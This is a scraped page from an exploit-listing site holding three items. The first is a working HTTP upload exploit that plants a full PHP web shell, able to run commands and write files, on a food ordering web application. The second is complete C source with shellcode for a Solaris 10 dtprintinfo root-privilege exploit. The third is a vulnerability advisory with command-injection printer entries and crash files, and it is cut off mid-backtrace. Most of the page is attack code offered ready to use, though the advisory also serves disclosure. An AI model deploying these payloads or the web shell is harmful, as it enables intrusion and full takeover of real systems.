Latest exploits :: CodePwn

<pre><code>## Title: Food Ordering System v2 File upload Vulnerability + web-shell upload - RCE ## Author: nu11secur1ty ## Date: 01.23.2023 ## Vendor: https://github.com/oretnom23 ## Software: https://www.sourcecodester.com/php/16022/online-food-ordering-system-v2-using-php8-and-mysql-free-source-code.html ## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Food-Ordering-System-v2.0 ## Description: The Food Ordering System v2 suffers from, File Upload and web-shell upload RCE Vulnerabilities. The upload function for the background image hover of this system is not sanitizing correctly. The attacker can upload some RCE malicious code and easily destroy this system. The status of this system is awful! ## STATUS: HIGH Vulnerability [+] Exploit: ```GET POST /fos/admin/ajax.php?action=save_settings HTTP/1.1 Host: pwnedhost.com Content-Length: 6157 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqYQLHPx3VuntGH7W Origin: http://pwnedhost.com Referer: http://pwnedhost.com/fos/admin/index.php?page=site_settings Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=598nahp235ehmk2broafrh37qq Connection: close ------WebKitFormBoundaryqYQLHPx3VuntGH7W Content-Disposition: form-data; name="name" Online Food Ordering System V2 ------WebKitFormBoundaryqYQLHPx3VuntGH7W Content-Disposition: form-data; name="email" info@sample.com ------WebKitFormBoundaryqYQLHPx3VuntGH7W Content-Disposition: form-data; name="contact" +6948 8542 623 ------WebKitFormBoundaryqYQLHPx3VuntGH7W Content-Disposition: form-data; name="about" relative;">position: relative;">ABOUT US<p style="text-align: center; background: transparent; position: relative;">font-size: 14px;">position: relative;">rgb(0, 0, 0); font-family: "Open Sans", Arial, sans-serif; text-align: justify;">Lorem Ipsumfont-family: "Open Sans", Arial, sans-serif; font-weight: 400; text-align: justify;">&nbsp;is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry&#x2019;s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum. background: transparent; position: relative;">transparent; position: relative; font-size: 14px;"><span style="font-size:28px;background: transparent; position: relative;">Sans", Arial, sans-serif; font-weight: 400; text-align: justify;"> background: transparent; position: relative;">transparent; position: relative; font-size: 14px;"><span style="font-size:28px;background: transparent; position: relative;"><h2 style="font-size:28px;background: transparent; position: relative;">Where does it come from?</h2><p style="text-align: center; margin-bottom: 15px; padding: 0px; color: rgb(0, 0, 0); font-family: "Open Sans", Arial, sans-serif; font-weight: 400;">Contrary to popular belief, Lorem Ipsum is not simply random text. It has roots in a piece of classical Latin literature from 45 BC, making it over 2000 years old. Richard McClintock, a Latin professor at Hampden-Sydney College in Virginia, looked up one of the more obscure Latin words, consectetur, from a Lorem Ipsum passage, and going through the cites of the word in classical literature, discovered the undoubtable source. Lorem Ipsum comes from sections 1.10.32 and 1.10.33 of "de Finibus Bonorum et Malorum" (The Extremes of Good and Evil) by Cicero, written in 45 BC. This book is a treatise on the theory of ethics, very popular during the Renaissance. The first line of Lorem Ipsum, "Lorem ipsum dolor sit amet..", comes from a line in section 1.10.32. ------WebKitFormBoundaryqYQLHPx3VuntGH7W Content-Disposition: form-data; name="img"; filename="pic.php" Content-Type: image/jpeg         <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html" charset="euc-kr"> <title>PHP Web Shell Ver 4.0 by nu11secur1ty</title> <script type="text/javascript"> function FocusIn(obj) { if(obj.value == obj.defaultValue) obj.value = ''; } function FocusOut(obj) { if(obj.value == '') obj.value = obj.defaultValue; } </script> </head> <body> WebShell's Location = http://<?php echo $_SERVER['HTTP_HOST']; echo $_SERVER['REQUEST_URI'] ?> HTTP_HOST = <?php echo $_SERVER['HTTP_HOST'] ?> REQUEST_URI = <?php echo $_SERVER['REQUEST_URI'] ?> <form name="cmd_exec" method="post" action="http://<?php echo $_SERVER['HTTP_HOST']; echo $_SERVER['REQUEST_URI'] ?>"> <input type="text" name="cmd" size="70" maxlength="500" value="Input command to execute" onfocus="FocusIn(document.cmd_exec.cmd)" onblur="FocusOut(document.cmd_exec.cmd)"> <input type="submit" name="exec" value="exec"> </form> <?php if(isset($_POST['exec'])) { exec($_POST['cmd'],$result); echo '----------------- < OutPut > -----------------'; echo '<pre>'; foreach($result as $print) { $print = str_replace('<','<',$print); echo $print . ' '; } echo '</pre>'; } else echo ' '; ?> <form enctype="multipart/form-data" name="file_upload" method="post" action="http://<?php echo $_SERVER['HTTP_HOST']; echo $_SERVER['REQUEST_URI'] ?>"> <input type="file" name="file"> <input type="submit" name="upload" value="upload"> <input type="text" name="target" size="100" value="Location where file will be uploaded (include file name!)" onfocus="FocusIn(document.file_upload.target)" onblur="FocusOut(document.file_upload.target)"> </form> <?php if(isset($_POST['upload'])) { $check = move_uploaded_file($_FILES['file']['tmp_name'], $_POST['target']); if($check == TRUE) echo '<pre>The file was uploaded successfully!!</pre>'; else echo '<pre>File Upload was failed...</pre>'; } ?> </body> </html> ------WebKitFormBoundaryqYQLHPx3VuntGH7W-- ``` [+] Response: ```HTTP HTTP/1.1 200 OK Date: Mon, 23 Jan 2023 12:27:44 GMT Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/8.2.0 X-Powered-By: PHP/8.2.0 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 1 Connection: close Content-Type: text/html; charset=UTF-8 1 ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2023/Food-Ordering-System-v2.0) ## Reference: [href](https://portswigger.net/web-security/file-upload) ## Proof and Exploit: [href](https://www.youtube.com/watch?v=t7RnRFnXTP4) ## Proof and Exploit: [href](https://streamable.com/c026hq) ## Time spent `01:00:00` </code></pre>

<pre><code>/* * raptor_dtprintlibXmas.c - Solaris 10 CDE #ForeverDay LPE * Copyright (c) 2023 Marco Ivaldi <raptor@0xdeadbeef.info> * * "What has been will be again, * what has been done will be done again; * there is nothing new under the Sun." * -- Ecclesiastes 1:9 * * #Solaris #CDE #0day #ForeverDay #WontFix * * This exploit illustrates yet another way to abuse the infamous dtprintinfo * binary distributed with the Common Desktop Environment (CDE), a veritable * treasure trove for bug hunters since the 1990s. It's not the most reliable * exploit I've ever written, but I'm quite proud of the new vulnerabilities * I've unearthed in dtprintinfo with the latest Solaris patches (CPU January * 2021) applied. The exploit chain is structured as follows: * 1. Inject a fake printer via the printer injection bug I found in lpstat. * 2. Exploit the stack-based buffer overflow I found in libXm ParseColors(). * 3. Enjoy root privileges! * * For additional details on my bug hunting journey and on the vulnerabilities * themselves, you can refer to the official advisory: * https://github.com/0xdea/advisories/blob/master/HNS-2022-01-dtprintinfo.txt * * Usage: * $ gcc raptor_dtprintlibXmas.c -o raptor_dtprintlibXmas -Wall * $ ./raptor_dtprintlibXmas 10.0.0.109:0 * raptor_dtprintlibXmas.c - Solaris 10 CDE #ForeverDay LPE * Copyright (c) 2023 Marco Ivaldi <raptor@0xdeadbeef.info> * * Using SI_PLATFORM : i86pc (5.10) * Using stack base : 0x8047fff * Using safe address : 0x8045790 * Using rwx_mem address : 0xfeffa004 * Using sc address : 0x8047fb4 * Using sprintf() address : 0xfefd1250 * Path of target binary : /usr/dt/bin/dtprintinfo * * On your X11 server: * 1. Select the "fnord" printer, then click on "Selected" > "Properties". * 2. Click on "Find Set" and choose "/tmp/.dt/icons" from the drop-down menu. * * Back to your original shell: * # id * uid=0(root) gid=1(other) * * IMPORTANT NOTE. * The buffer overflow corrupts some critical variables in memory, which we * need to fix. In order to do so, we must patch the hostile buffer at some * fixed locations with the first argument of the last call to ParseColors(). * The easiest way to get such a safe address is via the special 0x41414141 * command-line argument and truss, as follows: * $ truss -fae -u libXm:: ./raptor_dtprintlibXmas 10.0.0.109:0 0x41414141 2>OUT * $ grep ParseColors OUT | tail -1 * 29181/1@1: -> libXm:ParseColors(0x8045770, 0x3, 0x1, 0x8045724) * ^^^^^^^^^ << this is the safe address we need * * Tested on: * SunOS 5.10 Generic_153154-01 i86pc i386 i86pc (CPU January 2021) * [previous Solaris versions are also likely vulnerable] */ #include <fcntl.h> #include <link.h> #include <procfs.h> #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <unistd.h> #include <sys/stat.h> #include <sys/systeminfo.h> #define INFO1 "raptor_dtprintlibXmas.c - Solaris 10 CDE #ForeverDay LPE" #define INFO2 "Copyright (c) 2023 Marco Ivaldi <raptor@0xdeadbeef.info>" #define VULN "/usr/dt/bin/dtprintinfo" // vulnerable program #define DEBUG "/tmp/XXXXXXXXXXXXXXXXXX" // target for debugging #define BUFSIZE 1106 // size of hostile buffer #define PADDING 1 // hostile buffer padding #define SAFE 0x08045770 // 1st arg to ParseColors() char sc[] = /* Solaris/x86 shellcode (8 + 8 + 8 + 27 = 51 bytes) */ /* triple setuid() */ "\x31\xc0\x50\x50\xb0\x17\xcd\x91" "\x31\xc0\x50\x50\xb0\x17\xcd\x91" "\x31\xc0\x50\x50\xb0\x17\xcd\x91" /* execve() */ "\x31\xc0\x50\x68/ksh\x68/bin" "\x89\xe3\x50\x53\x89\xe2\x50" "\x52\x53\xb0\x3b\x50\xcd\x91"; /* globals */ char *arg[2] = {"foo", NULL}; char *env[256]; int env_pos = 0, env_len = 0; /* prototypes */ int add_env(char *string); void check_bad(int addr, char *name); int get_env_addr(char *path, char **argv); int search_ldso(char *sym); int search_rwx_mem(void); void set_val(char *buf, int pos, int val); /* * main() */ int main(int argc, char **argv) { char buf[BUFSIZE], cmd[1024], *vuln = VULN; char platform[256], release[256], display[256]; int i, sc_addr, safe_addr = SAFE; FILE *fp; int sb = ((int)argv[0] | 0xfff); // stack base int ret = search_ldso("sprintf"); // sprintf() in ld.so.1 int rwx_mem = search_rwx_mem(); // rwx memory /* helper that prints argv[0] address, used by get_env_addr() */ if (!strcmp(argv[0], arg[0])) { printf("0x%p\n", argv[0]); exit(0); } /* print exploit information */ fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); /* process command line */ if ((argc < 2) || (argc > 3)) { fprintf(stderr, "usage: %s xserver:display [safe_addr]\n\n", argv[0]); exit(1); } snprintf(display, sizeof(display), "DISPLAY=%s", argv[1]); if (argc > 2) { safe_addr = (int)strtoul(argv[2], (char **)NULL, 0); } /* enter debug mode */ if (safe_addr == 0x41414141) { unlink(DEBUG); snprintf(cmd, sizeof(cmd), "cp %s %s", VULN, DEBUG); if (system(cmd) == -1) { perror("error creating debug binary"); exit(1); } vuln = DEBUG; } /* fill envp while keeping padding */ add_env("LPDEST=fnord"); // injected printer add_env("HOME=/tmp"); // home directory add_env("PATH=/usr/bin:/bin"); // path sc_addr = add_env(display); // x11 display add_env(sc); // shellcode add_env(NULL); /* calculate shellcode address */ sc_addr += get_env_addr(vuln, argv); /* inject a fake printer */ unlink("/tmp/.printers"); unlink("/tmp/.printers.new"); if (!(fp = fopen("/tmp/.printers", "w"))) { perror("error injecting a fake printer"); exit(1); } fprintf(fp, "fnord :\n"); fclose(fp); link("/tmp/.printers", "/tmp/.printers.new"); /* craft the hostile buffer */ bzero(buf, sizeof(buf)); for (i = PADDING; i < BUFSIZE - 16; i += 4) { set_val(buf, i, ret); // sprintf() set_val(buf, i += 4, rwx_mem); // saved eip set_val(buf, i += 4, rwx_mem); // 1st arg set_val(buf, i += 4, sc_addr); // 2nd arg } memcpy(buf, "\"c c ", 5); // beginning of hostile buffer buf[912] = ' '; // string separator set_val(buf, 1037, safe_addr); // safe address set_val(buf, 1065, safe_addr); // safe address set_val(buf, 1073, 0xffffffff); // -1 /* create the hostile XPM icon files */ system("rm -fr /tmp/.dt"); mkdir("/tmp/.dt", 0755); mkdir("/tmp/.dt/icons", 0755); if (!(fp = fopen("/tmp/.dt/icons/fnord.m.pm", "w"))) { perror("error creating XPM icon files"); exit(1); } fprintf(fp, "/* XPM */\nstatic char *xpm[] = {\n\"8 8 3 1\",\n%s", buf); fclose(fp); link("/tmp/.dt/icons/fnord.m.pm", "/tmp/.dt/icons/fnord.l.pm"); link("/tmp/.dt/icons/fnord.m.pm", "/tmp/.dt/icons/fnord.t.pm"); /* print some output */ sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); sysinfo(SI_RELEASE, release, sizeof(release) - 1); fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); fprintf(stderr, "Using safe address\t: 0x%p\n", (void *)safe_addr); fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); fprintf(stderr, "Using sc address\t: 0x%p\n", (void *)sc_addr); fprintf(stderr, "Using sprintf() address\t: 0x%p\n", (void *)ret); fprintf(stderr, "Path of target binary\t: %s\n\n", vuln); /* check for badchars */ check_bad(safe_addr, "safe address"); check_bad(rwx_mem, "rwx_mem address"); check_bad(sc_addr, "sc address"); check_bad(ret, "sprintf() address"); /* run the vulnerable program */ execve(vuln, arg, env); perror("execve"); exit(0); } /* * add_env(): add a variable to envp and pad if needed */ int add_env(char *string) { int i; /* null termination */ if (!string) { env[env_pos] = NULL; return env_len; } /* add the variable to envp */ env[env_pos] = string; env_len += strlen(string) + 1; env_pos++; /* pad envp using zeroes */ if ((strlen(string) + 1) % 4) for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { env[env_pos] = string + strlen(string); env_len++; } return env_len; } /* * check_bad(): check an address for the presence of badchars */ void check_bad(int addr, char *name) { int i, bad[] = {0x00, 0x09, 0x20}; // NUL, HT, SP for (i = 0; i < sizeof(bad) / sizeof(int); i++) { if (((addr & 0xff) == bad[i]) || ((addr & 0xff00) == bad[i]) || ((addr & 0xff0000) == bad[i]) || ((addr & 0xff000000) == bad[i])) { fprintf(stderr, "error: %s contains a badchar\n", name); exit(1); } } } /* * get_env_addr(): get environment address using a helper program */ int get_env_addr(char *path, char **argv) { char prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; char hex[11]; int fd[2], addr; /* truncate program name at correct length and create a hard link */ prog[strlen(path)] = '\0'; unlink(prog); link(argv[0], prog); /* open pipe to read program output */ if (pipe(fd) == -1) { perror("pipe"); exit(1); } switch(fork()) { case -1: /* cannot fork */ perror("fork"); exit(1); case 0: /* child */ dup2(fd[1], 1); close(fd[0]); close(fd[1]); execve(prog, arg, env); perror("execve"); exit(1); default: /* parent */ close(fd[1]); read(fd[0], hex, sizeof(hex)); break; } /* check address */ if (!(addr = (int)strtoul(hex, (char **)NULL, 0))) { fprintf(stderr, "error: cannot read address from helper\n"); exit(1); } return addr + strlen(arg[0]) + 1; } /* * search_ldso(): search for a symbol inside ld.so.1 */ int search_ldso(char *sym) { int addr; void *handle; Link_map *lm; /* open the executable object file */ if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { perror("dlopen"); exit(1); } /* get dynamic load information */ if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { perror("dlinfo"); exit(1); } /* search for the address of the symbol */ if ((addr = (int)dlsym(handle, sym)) == NULL) { fprintf(stderr, "sorry, function %s() not found\n", sym); exit(1); } /* close the executable object file */ dlclose(handle); return addr; } /* * search_rwx_mem(): search for an RWX memory segment valid for all * programs (typically, /usr/lib/ld.so.1) using the proc filesystem */ int search_rwx_mem(void) { int fd; char tmp[16]; prmap_t map; int addr = 0, addr_old; /* open the proc filesystem */ sprintf(tmp,"/proc/%d/map", (int)getpid()); if ((fd = open(tmp, O_RDONLY)) < 0) { fprintf(stderr, "can't open %s\n", tmp); exit(1); } /* search for the last RWX memory segment before stack (last - 1) */ while (read(fd, &map, sizeof(map))) if (map.pr_vaddr) if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { addr_old = addr; addr = map.pr_vaddr; } close(fd); /* add 4 to the exact address NUL bytes */ if (!(addr_old & 0xff)) addr_old |= 0x04; if (!(addr_old & 0xff00)) addr_old |= 0x0400; return addr_old; } /* * set_val(): copy a dword inside a buffer (little endian) */ void set_val(char *buf, int pos, int val) { buf[pos] = (val & 0x000000ff); buf[pos + 1] = (val & 0x0000ff00) >> 8; buf[pos + 2] = (val & 0x00ff0000) >> 16; buf[pos + 3] = (val & 0xff000000) >> 24; } </code></pre>

<pre><code>--[ HNS-2022-01 - HN Security Advisory - https://security.humanativaspa.it/ * Title: Multiple vulnerabilities in Solaris dtprintinfo and libXm/libXpm * Products: Common Desktop Environment 1.6, Motif 2.1, X.Org libXpm < 3.5.15 * OS: Oracle Solaris 10 (CPU January 2021) * Author: Marco Ivaldi <marco.ivaldi@hnsecurity.it> * Date: 2023-01-18 * Oracle vulnerability tracking numbers: * S1597707 - Arbitrary printer name injection * S1597724 - Heap memory disclosure via long printer names * S1597711 - Memory corruption via malformed icon files * S1597730 - Stack-based buffer overflow in libXm ParseColors * CVE IDs: * CVE-2022-46285 - Infinite loop on unclosed comments in X.Org libXpm * Advisory URLs: * https://github.com/hnsecurity/vulns/blob/main/HNS-2022-01-dtprintinfo.txt * https://lists.x.org/archives/xorg-announce/2023-January/003312.html * https://lists.x.org/archives/xorg-announce/2023-January/003313.html * Exploit URLs: * https://github.com/0xdea/exploits/blob/master/solaris/raptor_dtprintlibXmas.c --[ 0 - Table of contents 1 - Summary 2 - Vulnerabilities 2.1 - Arbitrary printer name injection 2.2 - Heap memory disclosure via long printer names 2.3 - Memory corruption via malformed icon files 2.4 - Stack-based buffer overflow in libXm ParseColors() 3 - Analysis 3.1 - Printer name injection and heap memory disclosure 3.2 - Memory corruption via malformed icon files 4 - Exploitation 5 - Affected products 6 - Remediation 7 - Disclosure timeline 8 - References --[ 1 - Summary "What has been will be again, what has been done will be done again; there is nothing new under the Sun." -- Ecclesiastes 1:9 We have identified multiple security vulnerabilities that are exploitable via the the setuid-root dtprintinfo binary from the Common Desktop Environment (CDE) distributed with Oracle Solaris 10 (CPU January 2021): * A bug in the parser of the lpstat external command invoked by dtprintinfo to list the names of available printers allows low-privileged local users to inject arbitrary printer names via the $HOME/.printers file. * Printer name injection allows low-privileged local users to manipulate the control flow of the target program and disclose memory contents. Based on our analysis, this bug does not seem to be directly exploitable to achieve arbitrary code execution. However, we recommend treating it as a potential security vulnerability and fix it as such. * The ability to inject arbitrary printer names opens other attack vectors that otherwise would not be available on systems without configured printers. As an example, we discovered multiple icon parsing bugs in the Motif library libXm that cause memory corruption. We demonstrated the possibility to exploit one of these memory corruption bugs, a stack-based buffer overflow in the ParseColors() function of libXm, to achieve local privilege escalation to root on Solaris 10. --[ 2 - Vulnerabilities Following our last CDE vulnerability disclosures [1], Oracle kindly shared with us a copy of their then current Solaris 10 security patch set (CPU January 2021), so that we could install it in our lab and verify the fixes for the bugs we had reported. In addition to verifying these fixes, we decided to take a closer look at the dtprintinfo program distributed with CDE, because of its complexity and its impressive historical record of high-impact vulnerabilities [2]. These are the results of our research. --[ 2.1 - Arbitrary printer name injection After fruitlessly spending a few days reversing and auditing the patched version of dtprintinfo, we came up with the idea of using the poor man's fuzzer below to quickly check for the presence of flaws in the parsing of the $HOME/.printers file: bash-3.2$ cat /dev/urandom > ~/.printers ^C Indeed, this led to immediate results. It turns out that it is possible to inject fake printers to be displayed by dtprintinfo. To do so, we need to craft a .printers file that contains at least one line in the following format: <string><space>:<\n> Where <string> can be any string, including most special characters, and <space> can either be a space (0x20) or a tab (0x09) character. For instance, the following line will inject a fake printer named "FOO": FOO : Since dtprintinfo uses printer names as arguments for some external commands that it invokes, it is possible to abuse this flaw to inject arbitrary commands. For instance, to execute an injected command when we double-click on a printer icon in the X11 GUI, we can craft a .printers file that contains lines such as the following (space and tab characters cannot be used in the injected command string for obvious reasons): FOO;/usr/bin/id>/tmp/pwned; : BAR;/usr/bin/cat</tmp/PAYLOAD; : Unfortunately for us attackers, dtprintinfo fork()s and permanently drops root privileges via setuid() before running external commands. Therefore, the injected commands are executed with regular user privileges. This means we can only abuse the described printer name injection bug to trigger an additional second-order vulnerability, if such a vulnerability exists. Here's a couple of ideas we have experimented with to no avail: * Use the "cat<PAYLOAD" pattern above to trigger either an integer overflow, a buffer overflow, or a format string bug. * Inject a printer name that contains a format string or a directory traversal payload to trigger some other bug down the line. The third obvious idea is to inject a long printer name and see what happens. What happened in our case is that we were able to trigger an out-of-bound read and disclose partial heap memory contents of our target setuid-root binary. --[ 2.2 - Heap memory disclosure via long printer names To reproduce this bug, first craft a malicious .printers file as follows and create a hardlink to it named .printers.new, to prevent renaming by the DtConfigPrinters::renameUserPrinterSelectionFile() method that gets called while dtprintinfo is initializing queues in DtApp::UpdateQueues(): bash-3.2$ echo "FOO;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA; :" > ~/.printers bash-3.2$ ln ~/.printers ~/.printers.new Then, trace dtprintinfo's execution via a setuid-root truss program to log access to interesting memory addresses: bash-3.2$ export DISPLAY=:0 bash-3.2$ truss -fae -u '*' -u a.out /usr/dt/bin/dtprintinfo -all 2> OUT At this point, in dtprintinfo's GUI: * Select "View" > "Select Printers to Show..." from the menu. * Select the injected printer to be shown. * Click on "Apply" and then click on "OK". * Select "Printers" > "Exit" from the menu, closing dtprintinfo. Now, examining the .printers file modified by dtprintinfo while it was running, we can notice that it contains non-printable characters, which are in fact leaked heap memory contents. For instance: bash-3.2$ od -x ~/.printers 0000000 615f 6c6c 5c20 460a 4f4f 413b 4141 4141 0000020 4141 4141 4141 4141 4141 4141 4141 4141 * 0001000 4141 4141 4141 4141 4141 3b41 0a2c 4141 0001020 4141 4141 4141 4141 4141 4141 4141 4141 * 0001400 4141 4141 4141 4141 4141 4141 4141 e948 0001420 0810 6938 0810 0409 410a 4141 4141 4141 ^^^^^^^^^ << 0x08106938 0001440 4141 4141 2c3b 000a 0001447 By observing the output of truss, we can find the example leaked memory address highlighted above: -> __0fJContainerLInnerWidgetv(0x8105ea8) <- __0fJContainerLInnerWidgetv() = 0x8106938 ^^^^^^^^^ -> libXm:_XmManagerGetValuesHook(0x8106938, 0xfe6a1820, 0x8047840) ^^^^^^^^^ ... -> __0fHIconObjNCreateIconObjP6HMotifUIPcNCCPFPv_vPvNDCP6NIconFieldsRec(0x8106d60, 0x8105ea8, 0x8086c3f, 0x0) -> __0fHMotifUIKGetPixmapsP6K_WidgetRecPcPUlTD(0x8106d60, 0x8106938, 0xfe62bd00, 0x8106dd0) ^^^^^^^^^ By playing with different printer name lengths between 256 and 1024 bytes and/or clicking on "Apply" or "OK" multiple times, we can leak different heap memory contents. The "Set Default" button can be used to cause a similar .printers file corruption. In addition, instead of injecting a single long printer name, we can trigger the same bug by injecting a long list of regular printer names and selecting them to be shown in dtprintinfo's GUI. --[ 2.3 - Memory corruption via malformed icon files The ability to inject arbitrary printer names opens other attack vectors that otherwise would not be available on systems without configured printers. In fact, only privileged users can create or update printing configuration in /etc/printers.conf, usually via /usr/sbin/printmgr or /usr/bin/lpset. One such vector we thought that was worth exploring is the parsing of printer icons in the XPM format [3]. A low-privileged local user can supply his or her own icons for dtprintinfo to show by placing them in the $HOME/.dt/icons directory and selecting them in the X11 GUI. A bug in the XPM parser could easily lead to memory corruption and privilege escalation. To prove our point, we built a rudimentary mutation fuzzer written in Python and we unearthed a few icon parsing bugs in the libXm library (/usr/dt/lib/libXm.so.4) used by CDE, that was originally part of the Motif toolkit [4]. As a starter, the following malformed icon file with an unbalanced comment block will crash dtprintinfo: /* XPM */ static char * sample_xpm[] = { "15 19 6 1", " c None", ". c #FFFFFF", "+ c #000000", "@ c #99FFCC", "# c #66CCCC", "$ c #339966", /* CRASH ".+++++++++++++.", "+@@@@@@@@@@@@#+", "+@###########$+", "+@###....####$+", "+@##......###$+", "+@#...$$...##$+", "+@#..$$##..$#$+", "+@##$$##...$#$+", "+@#####...$$#$+", "+@####...$$##$+", "+@####..$$###$+", "+@####..$####$+", "+@#####$$####$+", "+@####..#####$+", "+@####..$####$+", "+@#####$$####$+", "+@###########$+", "+#$$$$$$$$$$$$+", ".+++++++++++++."}; To reproduce the crash, inject an arbitrary printer as described earlier and perform the following actions: * Craft the malformed XPM icon above in the following files in ~/.dt/icons: crash.l.pm crash.m.pm crash.t.pm * Launch dtprintinfo with proper command-line options (e.g., -all). * Select the injected printer, and click on "Selected" > "Properties...". * Click on "Find Set..." and choose "~/.dt/icons" from the drop-down menu. After a short while, dtprintinfo should segfault: Program terminated with signal 11, Segmentation fault. #0 0xfed322c8 in ParseComment () from /usr/dt/lib/libXm.so.4 (gdb) x/i $pc 0xfed322c8 <ParseComment+186>: mov (%edi),%ah (gdb) i r eax 0x8045bff 134503423 ecx 0x80456f0 134502128 edx 0xfe972be0 -23647264 ebx 0xfee90000 -18284544 esp 0x8024fbc 0x8024fbc ebp 0x8024fdc 0x8024fdc esi 0x7 7 edi 0xfeffffff -16777217 eip 0xfed322c8 0xfed322c8 <ParseComment+186> ... (gdb) bt #0 0xfed322c8 in ParseComment () from /usr/dt/lib/libXm.so.4 #1 0xfed321dc in _XmxpmNextString () from /usr/dt/lib/libXm.so.4 #2 0xfed3392a in ParsePixels () from /usr/dt/lib/libXm.so.4 #3 0xfed32511 in _XmxpmParseData () from /usr/dt/lib/libXm.so.4 #4 0xfed31e24 in _XmXpmReadFileToImage () from /usr/dt/lib/libXm.so.4 #5 0xfef09ac1 in _DtXpmReadFileToImage () from /usr/dt/lib/libDtSvc.so.1 #6 0xfef09b2b in _DtXpmReadFileToPixmap () from /usr/dt/lib/libDtSvc.so.1 #7 0x08079969 in __0fHMotifUIKGetPixmapsP6K_WidgetRecPcPUlTD () #8 0x0807d872 in __0fHIconObjNCreateIconObjP6HMotifUIPcNCCPFPv_vPvNDCP6NIconFieldsRec () #9 0x0807d4b2 in __0oHIconObjctP6HMotifUIPcNECP6NIconFieldsRec () #10 0x08072c21 in __0fJDtFindSetKComboBoxCBP6LComboBoxObjPciT () #11 0x08075286 in __0fLComboBoxObjISelectCBP6K_WidgetRecPvTCT () ... At a glance, this does not look exploitable. A much better-looking crash can be triggered with the following malformed icon file: 00000000: 2f2a 2058 504d 202a 2f0a 7374 6174 6963 /* XPM */.static 00000010: 2063 6861 7220 2a78 6d61 6e5b 5d20 3d20 char *xman[] = 00000020: 7b0a 2f2a 2077 6964 7468 2068 6569 6768 {./* width heigh 00000030: 7420 6e63 6f6c 6f72 7320 6368 6172 735f t ncolors chars_ 00000040: 7065 725f 7069 7865 6c20 2a2f 0a22 3820 per_pixel */."8 00000050: 3820 3320 3122 2c0a 2f2a 2063 6f6c 6f72 8 3 1",./* color 00000060: 7320 2a2f 0a22 6520 6734 2062 6c61 636b s */."e g4 black 00000070: 2063 2070 616c 6520 7475 7271 756f 6973 c pale turquois 00000080: 6520 3422 2c0a 22fe 206d 2077 6869 7465 e 4",.". m white ^^ << this 0xfe byte triggers the crash 00000090: 2063 206c 6967 6874 2067 6f6c 6465 6e20 c light golden 000000a0: 726f 6420 7965 6c6c 6f77 2067 3420 6772 rod yellow g4 gr 000000b0: 6579 222c 0a22 6720 6720 7768 6974 6520 ey",."g g white 000000c0: 6320 6c65 6d6f 6e20 6368 6966 666f 6e20 c lemon chiffon 000000d0: 6d20 626c 6163 6b22 2c0a 2f2a 2070 6978 m black",./* pix 000000e0: 656c 7320 2a2f 0a22 6565 6565 6565 6565 els */."eeeeeeee 000000f0: 222c 0a22 6666 6666 6666 6666 222c 0a22 ",."ffffffff",." 00000100: 6767 6767 6767 6767 222c 0a22 6767 6767 gggggggg",."gggg 00000110: 6767 6767 220a 7d3b 0a gggg".};. Program terminated with signal 11, Segmentation fault. #0 0x027efed3 in ?? () (gdb) i r eax 0xfe634c80 -27046784 ecx 0x3 3 edx 0x0 0 ebx 0xfee90002 -18284542 esp 0x8045668 0x8045668 ebp 0x80456d0 0x80456d0 esi 0x80460d0 134504656 edi 0x80456f0 134502128 eip 0x27efed3 0x27efed3 ... #0 0x027efed3 in ?? () #1 0xfed3266a in _XmxpmParseData () from /usr/dt/lib/libXm.so.4 #2 0xfed31e24 in _XmXpmReadFileToImage () from /usr/dt/lib/libXm.so.4 #3 0xfef09ac1 in _DtXpmReadFileToImage () from /usr/dt/lib/libDtSvc.so.1 #4 0xfef09b2b in _DtXpmReadFileToPixmap () from /usr/dt/lib/libDtSvc.so.1 #5 0x08079969 in 